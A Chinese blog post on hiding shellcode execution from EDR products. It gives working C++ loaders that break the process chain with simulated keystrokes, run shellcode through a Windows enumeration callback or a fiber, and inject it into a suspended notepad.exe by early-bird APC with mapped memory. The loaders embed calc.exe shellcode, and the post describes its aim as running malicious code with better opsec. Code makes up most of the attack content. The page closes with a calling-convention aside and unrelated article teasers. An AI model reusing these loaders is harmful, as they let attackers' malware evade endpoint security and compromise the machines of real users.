EDR下的线程安全

文章目录

    • 前记
    • 进程断链
    • 回调执行
    • 纤程
    • 内存属性修改
    • early bird+Mapping
    • 后记
    • reference

前记

触发EDR远程线程扫描关键api:createprocesscreateremotethreadvoid(指针)、createthread

为了更加的opsec,尽量采取别的方式执行恶意代码,下面简单给出一些思路

进程断链

#include <windows.h>
#include<iostream>

void SimulateKeyPress(WORD keyCode) {
    INPUT inputs[2] = {};
    ZeroMemory(inputs, sizeof(inputs));
    inputs[0].type = INPUT_KEYBOARD;
    inputs[0].ki.wVk = keyCode;
    Sleep(500);
    inputs[1].type = INPUT_KEYBOARD;
    inputs[1].ki.dwFlags = KEYEVENTF_KEYUP;
    UINT uSent = SendInput(2, inputs, sizeof(INPUT));
}
int main()
{
    // 调用 ShellExecute 函数,执行一个命令
    HINSTANCE  hReturn = ShellExecuteA(NULL, "explore", "C:\\security\\tmp", NULL, NULL, SW_HIDE);//SW_RESTORE
    if ((int)hReturn < 32) {
        printf("0");
        return 0;
    }
    printf("% d", (int)hReturn);
    HWND hExplorer = FindWindowA("CabinetWClass", NULL);
    if (hExplorer) {
        // 将资源管理器窗口设置为前台窗口
        SetForegroundWindow(hExplorer);
    }
    else {
        printf("Explorer window not found.\n");
    }
    SimulateKeyPress(0x32);//这里以ascii为参数,实际为'2.exe'
    SimulateKeyPress(VK_RETURN);
    return 0;
}

通过模拟键盘点击,完成进程断链,父进程为explore

在这里插入图片描述

进程断链相比于父进程欺骗更加安全,但是在核晶环境下会被禁止模拟键盘的行为

回调执行

回调可以很好的规避EDR对远程线程的内存扫描,举例如下

#include <windows.h>
#include<iostream>

//calc shellcode
unsigned char rawData[276] = {};
int main()
{
    LPVOID addr = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(addr, rawData, sizeof(rawData));
    EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)addr, NULL);
    return 0;
}

纤程

纤程允许在单个线程中有多个执行流,每个执行流都有自己的寄存器状态和堆栈。另一方面,纤程对内核是不可见的,这使得它们成为一种比生成新线程更隐秘的内存代码执行方法。

#include <windows.h>

void like() {
    //calc shellcode
    unsigned char rawData[276] = {
        0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
        0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
        0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
        0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
        0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
        0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
        0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
        0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
        0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
        0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
        0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
        0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
        0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
        0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
        0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
        0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
        0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
        0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
        0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
        0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
        0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
        0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
        0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
    };
    LPVOID fiber = ConvertThreadToFiber(NULL);
    LPVOID Alloc = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    CopyMemory(Alloc, rawData, sizeof(rawData));
    LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
    SwitchToFiber(shellFiber);
}

int main() {
    like();
}

内存属性修改

内存属性修改流程:RW->NA->sleep->RW->NA->sleep->Rx->CreateThread->ResumeThread

让EDR扫描内存时处于无权限状态即可

early bird+Mapping

early bird,APC注入的变种

Mapping:内存映射

  • 创建一个挂起的进程(通常是windows的合法进程)
  • 在挂起的进程内申请一块可读可写可执行的内存空间
  • 往申请的空间内写入shellcode
  • 将APC插入到该进程的主线程
  • 恢复挂起进程的线程
#include <Windows.h>
#include <iostream>
#pragma comment (lib, "OneCore.lib")

void mymemcpy(void* dst, void* src, size_t size);
int main()
{
    //calc shellcode
    unsigned char rawData[276] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
    };
    LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";
    STARTUPINFO sInfo = { 0 };
    PROCESS_INFORMATION pInfo = { 0 };
    sInfo.cb = sizeof(STARTUPINFO);

    CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo);
    HANDLE hProc = pInfo.hProcess;
    HANDLE hThread = pInfo.hThread;

    HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(rawData), NULL);
    LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(rawData));
    mymemcpy(lpMapAddress, rawData, sizeof(rawData));
    LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProc, 0, NULL, 0, 0, PAGE_EXECUTE_READ);

    QueueUserAPC(PAPCFUNC(lpMapAddressRemote), hThread, NULL);
    ResumeThread(hThread);
    CloseHandle(hThread);
    CloseHandle(hProc);
    CloseHandle(hMapping);
    UnmapViewOfFile(lpMapAddress);
    return 0;
}
void mymemcpy(void* dst, void* src, size_t size)
{
    char* psrc, * pdst;
    if (dst == NULL || src == NULL)
        return;
    if (dst <= src)
    {
        psrc = (char*)src;
        pdst = (char*)dst;
        while (size--)
            *pdst++ = *psrc++;
    }
    else
    {
        psrc = (char*)src + size - 1;
        pdst = (char*)dst + size - 1;
        while (size--) {
            *pdst-- = *psrc--;
        }
    }
}

后记

传参规则

#include<iostream>
using namespace std;
void func(int a, int b)
{
	cout << "func:\n";
	cout << "a = " << a << "\tb = " << b << endl;
}
int main(void)
{
	int v = 3;
	func(v, v++);
	cout << "v=" << v;
	v = 3;
	func(v, ++v);
	v = 3;
	func(++v, v);
	v = 3;
	func(v++, v);
	return 0;
}

func:
a = 3 b = 3
v=4
func:
a = 4 b = 4
func:
a = 4 b = 4
func:
a = 3 b = 3

函数声明区别

__cdecl:

C/C++默认方式,参数从右向左入栈,主调函数负责栈平衡。

__stdcall:

windows API默认方式,参数从右向左入栈,被调函数负责栈平衡。

__fastcall:

快速调用方式。所谓快速,这种方式选择将参数优先从寄存器传入(ECX和EDX),剩下的参数再从右向左从栈传入。

在x86下出现明显特征

    19: 	func1(4, 5);//__cdecl
00981B31 6A 05                push        5  
00981B33 6A 04                push        4  
00981B35 E8 2D F7 FF FF       call        func1 (0981267h)  
00981B3A 83 C4 08             add         esp,8  
    20: 	func2(4, 5);//__stdcall
00981B3D 6A 05                push        5  
00981B3F 6A 04                push        4  
00981B41 E8 62 F7 FF FF       call        func2 (09812A8h)  
    21: 	func3(4, 5);//__fastcall
00981B46 BA 05 00 00 00       mov         edx,5  
00981B4B B9 04 00 00 00       mov         ecx,4  
00981B50 E8 2C F6 FF FF       call        func3 (0981181h)  

自实现copymemory

void mymemcpy(void* dst, void* src, size_t size)
{
    char* psrc, * pdst;
    if (dst == NULL || src == NULL)
        return;
    if (dst <= src)
    {
        psrc = (char*)src;
        pdst = (char*)dst;
        while (size--)
            *pdst++ = *psrc++;
    }
    else
    {
        psrc = (char*)src + size - 1;
        pdst = (char*)dst + size - 1;
        while (size--) {
            *pdst-- = *psrc--;
        }
    }
}

reference

https://www.cnblogs.com/fdxsec/p/17995030#1winexec
https://github.com/aahmad097/AlternativeShellcodeExec
https://xz.aliyun.com/t/11153?time__1311=mqmx0DyDcDn0e7KDsKoYKmc8KDC7KFD9BoD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-9

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/487216.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C语言---------strlen的使用和模拟实现

字符串是以‘\0’作为结束标志&#xff0c;strlen函数的返回值是‘\0’前面的字符串的个数&#xff08;不包括‘\0’&#xff09; 注意 1&#xff0c;参数指向的字符串必须以‘\0’结束 2&#xff0c;函数的返回值必须以size_t,是无符号的 使用代码 ​ #include<stdio.…

数据库备份和恢复

前期准备 至少准备两台虚拟机完成Mysql的相关操作&#xff01; 在生产环境中&#xff0c;数据的安全性至关重要&#xff0c;任何数据的丢失都可能产生严重的后果。 造成数据丢失的原因&#xff1a; 程序错误人为操作错误运算错误磁盘故障&#xff1a; 解决措施&#xff1a;rai…

eric7安装报错

如果你遇到这样的问题&#xff1a; Sorry, please install QScintilla2 and its PyQt6 wrapper. Error: DLL load failed while importing Qsci: 找不到指定的程序。 如果你遇到这样的回答pip install QScintilla 如果你执行了这样的命令后&#xff0c;依旧报上面的错&#xf…

Word邮件合并

Word邮件合并功能可以解决在Word中批量填写内容的需求&#xff0c;当需要大量格式相同&#xff0c;只修改少数相关内容时&#xff0c;例如利用Word制作工资条&#xff0c;通知函&#xff0c;奖状等等&#xff0c;同时操作也非常简单灵活。下面通过例子来说明邮件合并的使用方法…

隧道技术和代理技术(四)SSHDNSICMPSMB上线通讯

目录 SSH&DNS&ICMP&SMB&上线通讯 DNS 隧道上线 DNS 隧道通讯 SSH 隧道通讯 SSH 隧道上线 SSH&DNS&ICMP&SMB&上线通讯 -连接方向&#xff1a;正向&反向&#xff08;基础课程有讲过&#xff09; -内网穿透&#xff1a;解决网络控制上…

《数据安全技术 数据分类分级规则》及典型行业标准指南要点提炼

数据分类分级发布新国标 千呼万唤&#xff0c;国家标准GB/T 43697-2024《数据安全技术 数据分类分级规则》于3月21日正式发布。作为全国网络安全标准化技术委员会更名后&#xff0c;发布的第一部以“数据安全技术”命名的国家标准&#xff0c;《数据安全技术 数据分类分级规则…

C++内存分布知识点复习

C内存分布&#xff08;只是用来自己复习&#xff0c;如果侵权了请联系&#xff0c;马上删除&#xff09; 看看自己是否了解 #define _CRT_SECURE_NO_WARNINGS #include<malloc.h> int globalVar 1; static int staticGlobalVar 1; void Test() {static int staticVa…

优秀人才必须具备的5个基本素质?

哈喽&#xff0c;大家好啊&#xff0c;我是雷工&#xff01; 张一鸣曾经在其微博上说过这么一句话&#xff1a; 选择越高级影响越大的人才&#xff0c;越要看一些基本素质。 那么优秀人才都具备哪些较好的基本素质呢&#xff1f; 或者说要具备哪些基本素质才有望成为高级人才&a…

[文生音乐]Suno AI:一句话,创作自己的音乐,全民创作人时代!

前言&#xff1a; 今年继AI生成文字&#xff08;Claude3&#xff09;、AI生成图片&#xff08;Midjourney&#xff09;、AI生成视频&#xff08;Sora&#xff09;之后&#xff0c;国外的AI公司又推出了一个劲爆的工具&#xff1a;Suno AI&#xff0c;通过一段简短的描述&#…

4G/5G视频记录仪_联发科MTK6765平台智能记录仪方案

视频记录仪主板采用了联发科MT6765芯片&#xff0c;该芯片采用12nm FinFET制程工艺&#xff0c;8*Cortex-A53架构&#xff0c;搭载安卓11.0/13.0系统&#xff0c;主频最高达2.3GHz&#xff0c;待机功耗可低至5ma&#xff0c;并具有快速数据传输能力。配备了2.4英寸高清触摸显示…

解决 cv2.imread读取带中文路径图片问题

http://t.csdnimg.cn/i8CXn 1.问题&#xff1a; # 中草药数据集样本可视化展示 import cv2 import matplotlib.pyplot as plt %matplotlib inline plt.title("heshouwu") plt.imshow(cv2.imread(r"D:\home\aistudio\data1\archive\train\何首乌\heshouwu_0001.…

huggingface的transformers训练bert

目录 理论 实践 理论 https://arxiv.org/abs/1810.04805 BERT&#xff08;Bidirectional Encoder Representations from Transformers&#xff09;是一种自然语言处理&#xff08;NLP&#xff09;模型&#xff0c;由Google在2018年提出。它是基于Transformer模型的预训练方法…

机器学习(一)

经典定义: 利用经验改善系统自身的性能。 经典的机器学习过程: 基本术语: 数据集:训练集、测试集 示例、样例、样本 属性、特征:属性值 属性空间、样本空间、输入空间 特征向量 标记空间、输出空间 归纳偏好(偏置): 任何一个有效的机器学习算法必有其偏好 学习算法的…

ConcurrentHashMap 为什么是线程安全的?

1、典型回答 ConcurrentHashMap 在不同JDK 版本中&#xff0c;保证线程安全的手段是不同的&#xff0c;它主要分为以下两种情况&#xff1a; JDK 1.7 之前(包含JDK 1.7)&#xff0c;ConcurrentHashMap 主要是通过分段锁 (Segment Lock) 来保证线程安全的。而在JDK 1.8 之后(包…

C语言----strcpy和strcat的使用和模拟实现

一&#xff0c;strcpy()函数 strcpy() 函数是 C语言中一个非常重要的字符串处理函数&#xff0c;其功能是将一个字符串复制到另一个字符串中。该函数原型如下&#xff1a; char*strcpy(char*dest,const char*src) 其中&#xff0c;dest 表示目标字符串&#xff0c;即将被复制到…

iOS开发之SwiftUI

iOS开发之SwiftUI 在iOS开发中SwiftUI与Objective-C和Swift不同&#xff0c;它采用了声明式语法&#xff0c;相对而言SwiftUI声明式语法简化了界面开发过程&#xff0c;减少了代码量。 由于SwiftUI是Apple推出的界面开发框架&#xff0c;从iOS13开始引入&#xff0c;Apple使用…

时间戳的转换-unix时间戳转换为utc时间(python实现)

import datetimetimestamp = 1711358882# 将时间戳转换为UTC时间 utc_time = datetime.datetime.utcfromtimestamp(timestamp)# 格式化并输出时间 formatted_time = utc_time.strftime(%Y-%m-%d %H:%M:%S) print(formatted_time)同样:UTC如何转换为unix时间戳 from datetime …

P6技巧:对计划执行纠偏措施

前言 对施工计划的滞后原因分析&#xff0c;通常采取由大到小、由高到低的方法。即首先查看总体进度偏差&#xff0c;再分析其偏差主要来源于哪部分。 项目进度评估与偏差控制 项目实施过程中&#xff0c;项目控制人员应对进度实施情况进行跟踪、采集数据&#xff0c;并根据…

OC高级编程 第3章:Grand Central Dispatch

3.1 Grand Central Dispatch (GCD)概要 3.1.1什么是GCD Grand Central Dispatch&#xff08;GCD&#xff09;是异步执行任务的技术之一。一般将应用中记述线程管理用的代码在系统级中实现。开发者只要定义想执行的任务并追加到Dispatch Queue中&#xff0c;GCD就能生成必要的…

5 IOC/DI注解开发

文章目录 3&#xff0c;IOC/DI注解开发3.1 环境准备3.2 注解开发定义bean步骤1:删除原XML配置步骤2:Dao上添加注解步骤3:配置Spring的注解包扫描步骤4&#xff1a;运行程序步骤5:Service上添加注解步骤6:运行程序知识点1:Component等 3.2 纯注解开发模式3.2.1 思路分析3.2.2 实…